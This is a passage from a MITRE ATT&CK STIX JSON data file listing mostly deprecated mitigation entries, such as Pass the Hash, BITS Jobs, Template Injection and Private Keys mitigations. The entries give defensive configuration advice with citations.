2017."}],"modified":"2019-07-25T11:21:20.411Z","name":"Pass the Hash Mitigation","description":"Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--bd2554b8-634f-4434-a986-9b49c29da2ae","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1063","url":"https://attack.mitre.org/mitigations/T1063","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. 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(Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--c3cf2312-3aab-4aaf-86e6-ab3505430482","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1163","external_id":"T1163"}],"modified":"2019-07-25T11:29:48.385Z","name":"Rc.common Mitigation","description":"Limit privileges of user accounts so only authorized users can edit the rc.common file.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--c47a9b55-8f61-4b82-b833-1db6242c754e","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1168","external_id":"T1168"}],"modified":"2019-08-17T12:10:09.748Z","name":"Local Job Scheduling Mitigation","description":"Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. 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Follow mitigation guidelines for preventing adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)\n\nAlso limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--c620e3a1-fff5-424f-abea-d2b0f3616f67","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1082","url":"https://attack.mitre.org/mitigations/T1082","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:24.235Z","name":"System Information Discovery Mitigation","description":"Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--c7e49501-6021-414f-bfa1-94519d8ec314","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1221","external_id":"T1221"},{"url":"https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6","description":"Microsoft. (n.d.). Enable or disable macros in Office files. Retrieved September 13, 2018.","source_name":"Microsoft Disable Macros"},{"source_name":"Anomali Template Injection MAR 2018","description":"Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.","url":"https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104"}],"modified":"2019-07-25T12:27:19.577Z","name":"Template Injection Mitigation","description":"Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations including training users to identify social engineering techniques and spearphishing emails. Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads. (Citation: Anomali Template Injection MAR 2018)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--c861bcb1-946f-450d-ab75-d4e3c1103a56","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1194","external_id":"T1194"}],"modified":"2019-07-25T12:00:12.285Z","name":"Spearphishing via Service Mitigation","description":"Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.\n\nBecause this technique involves use of legitimate services and user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--c88151a5-fe3f-4773-8147-d801587065a4","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1017","external_id":"T1017"}],"modified":"2019-07-24T14:05:33.227Z","name":"Application Deployment Software Mitigation","description":"Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--c95c8b5c-b431-43c9-9557-f494805e2502","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1045","url":"https://attack.mitre.org/mitigations/T1045","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:24.233Z","name":"Software Packing Mitigation","description":"Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.\n\nIdentify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--cb825b86-3f3b-4686-ba99-44878f5d3173","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1197","external_id":"T1197"},{"source_name":"Mondok Windows PiggyBack BITS May 2007","description":"Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background Intelligent Transfer Service. Retrieved January 12, 2018.","url":"https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/"},{"source_name":"Symantec BITS May 2007","description":"Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.","url":"https://www.symantec.com/connect/blogs/malware-update-windows-update"},{"source_name":"Microsoft BITS","description":"Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.","url":"https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx"}],"modified":"2019-07-24T14:08:16.317Z","name":"BITS Jobs Mitigation","description":"This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)\n\nModify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.\n\nConsider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)\n\nConsider reducing the default BITS job lifetime in Group Policy or by editing the <code>JobInactivityTimeout</code> and <code>MaxDownloadTime</code> Registry values in <code> HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS</code>. (Citation: Microsoft BITS)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--cba5667e-e3c6-44a4-811c-266dbc00e440","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1181","url":"https://attack.mitre.org/mitigations/T1181","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:19.367Z","name":"Extra Window Memory Injection Mitigation","description":"This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","type":"course-of-action","created":"2019-06-11T17:06:14.029Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1047","url":"https://attack.mitre.org/mitigations/M1047"}],"modified":"2020-11-19T20:44:07.442Z","name":"Audit","description":"Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--cdecc44a-1dbf-4c1f-881c-f21e3f47272a","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1105","external_id":"T1105"},{"source_name":"University of Birmingham C2","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-25T11:33:35.477Z","name":"Remote File Copy Mitigation","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--cfc2d2fc-14ff-495f-bd99-585be47b804f","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1138","external_id":"T1138"}],"modified":"2019-07-24T14:32:52.325Z","name":"Application Shimming Mitigation","description":"There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. \n\nChanging UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1129","external_id":"T1129"}],"modified":"2019-07-24T19:18:25.859Z","name":"Execution through Module Load Mitigation","description":"Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. 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Retrieved April 25, 2017.","url":"https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach"},{"source_name":"TechNet Credential Theft","description":"Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn535501.aspx"},{"source_name":"TechNet Least Privilege","description":"Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn487450.aspx"},{"description":"US-CERT. (n.d.). Risks of Default Passwords on the Internet. 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Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. \n\nFollow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access) \n\nAudit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. \n\nApplications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured. 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Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--d5dce4b9-f1fa-4c03-aff9-ce177246cb64","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1035","url":"https://attack.mitre.org/mitigations/T1035","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). 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(Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--d9727aee-48b8-4fdb-89e2-4c49746ba4dd","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1039","url":"https://attack.mitre.org/mitigations/T1039","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. 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Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1112","url":"https://attack.mitre.org/mitigations/T1112","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. 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Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. 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Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--effb83a0-ead1-4b36-b7f6-b7bdf9c4616e","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1091","url":"https://attack.mitre.org/mitigations/T1091","source_name":"mitre-attack"},{"source_name":"Microsoft Disable Autorun","description":"Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.","url":"https://support.microsoft.com/en-us/kb/967715"},{"source_name":"TechNet Removable Media Control","description":"Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.","url":"https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. 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(2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","source_name":"Corio 2008"},{"url":"https://technet.microsoft.com/en-us/library/ee791851.aspx","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","source_name":"TechNet Applocker vs SRP"}],"modified":"2021-08-23T20:25:21.481Z","name":"Taint Shared Content Mitigation","description":"Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nReduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--f27ef4f2-71fe-48b6-b7f4-02dcac14320e","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1145","external_id":"T1145"}],"modified":"2019-07-25T11:27:03.265Z","name":"Private Keys Mitigation","description":"Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--f2cb6ce2-188d-4162-8feb-594f949b13dd","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1053","url":"https://attack.mitre.org/mitigations/T1053","source_name":"mitre-attack"},{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","source_name":"Powersploit"},{"source_name":"TechNet Server Operator Scheduled Task","description":"Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.","url":"https://technet.microsoft.com/library/jj852168.aspx"},{"source_name":"TechNet Scheduling Priority","description":"Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.","url":"https://technet.microsoft.com/library/dn221960.aspx"},{"source_name":"Beechey 